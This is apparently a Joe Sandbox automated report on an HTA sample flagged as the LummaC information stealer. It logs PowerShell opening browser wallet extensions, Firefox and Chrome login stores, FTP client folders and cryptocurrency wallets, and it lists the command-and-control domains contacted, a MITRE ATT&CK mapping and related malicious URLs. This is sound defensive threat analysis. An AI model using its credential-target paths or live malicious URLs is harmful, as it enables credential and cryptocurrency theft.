Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents			Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	11 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	111 Process Injection	3 Obfuscated Files or Information	LSASS Memory	23 System Information Discovery	Remote Desktop Protocol	31 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	4 PowerShell	Logon Script (Windows)	Logon Script (Windows)	2 Software Packing	Security Account Manager	311 Security Software Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Email Collection	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	221 Virtualization/Sandbox Evasion	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	221 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	2 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
anrek.mp4.hta	3%	Virustotal		Browse
anrek.mp4.hta	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	51%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-G0TQE.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-G0TQE.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
grooveoiy.cyou	0%	Avira URL Cloud	safe
https://klipdiheqoe.shop/ruwkl.png	0%	Avira URL Cloud	safe
https://grooveoiy.cyou/api	0%	Avira URL Cloud	safe
https://klipdiheqoe.shop	0%	Avira URL Cloud	safe
https://klipjarifaa.shop/int_clp_8888.txt	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
klipjarifaa.shop	188.114.96.3	true	false	unknown
grooveoiy.cyou	104.21.71.158	true	true	unknown
klipdiheqoe.shop	104.21.48.1	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
rabidcowse.shop	false		high
wholersorie.shop	false		high
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
grooveoiy.cyou	true	Avira URL Cloud: safe	unknown
nearycrepso.shop	false		high
https://klipdiheqoe.shop/ruwkl.png	true	Avira URL Cloud: safe	unknown
framekgirus.shop	false		high
https://grooveoiy.cyou/api	true	Avira URL Cloud: safe	unknown
tirepublicerj.shop	false		high
https://klipjarifaa.shop/int_clp_8888.txt	false	Avira URL Cloud: safe	unknown
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.2032594855.0000000006056000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.2815781205.00000000049A6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.2815781205.00000000049A6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000001.00000002.2032594855.0000000006056000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000001.00000002.2032594855.0000000006056000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	false		high
https://klipdiheqoe.shop	powershell.exe, 00000003.00000002.2815781205.00000000049A6000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.2815781205.00000000049A6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 00000001.00000002.2026639128.0000000002D56000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000001.00000002.2029336118.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	powershell.exe, 00000003.00000002.2845195855.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000001.00000002.2032594855.0000000006056000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.2032594855.0000000006056000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2029336118.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	klipdiheqoe.shop	United States	13335	CLOUDFLARENETUS	true
104.21.71.158	grooveoiy.cyou	United States	13335	CLOUDFLARENETUS	true
188.114.96.3	klipjarifaa.shop	European Union	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584779
Start date and time:	2025-01-06 13:54:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	anrek.mp4.hta
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winHTA@17/14@3/3
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 97% Number of executed functions: 221 Number of non-executed functions: 62
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 5784 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 6160 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:54:57	API Interceptor	1x Sleep call for process: mshta.exe modified
07:54:58	API Interceptor	53x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	twirpx.org/administrator/index.php
104.21.48.1	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/
188.114.96.3	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
klipjarifaa.shop	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	qnUFsmyxMm.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.74.235

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://www.housepricesintheuk.co.uk	Get hash	malicious	Unknown	Browse	172.64.155.119
	APLICATIVO-WINDOWS-NOTA-FISCAL.msi	Get hash	malicious	AteraAgent	Browse	104.18.18.106
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Agent381.msi	Get hash	malicious	Unknown	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	https://o365info.com/get-unlicensed-onedrive-accounts/	Get hash	malicious	Unknown	Browse	104.18.27.193
	AZfDGVWF68.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse	104.16.117.116
	Setup.exe	Get hash	malicious	Unknown	Browse	104.18.26.149
	Setup.exe	Get hash	malicious	Unknown	Browse	104.18.26.149
CLOUDFLARENETUS	http://www.housepricesintheuk.co.uk	Get hash	malicious	Unknown	Browse	172.64.155.119
	APLICATIVO-WINDOWS-NOTA-FISCAL.msi	Get hash	malicious	AteraAgent	Browse	104.18.18.106
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Agent381.msi	Get hash	malicious	Unknown	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	https://o365info.com/get-unlicensed-onedrive-accounts/	Get hash	malicious	Unknown	Browse	104.18.27.193
	AZfDGVWF68.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
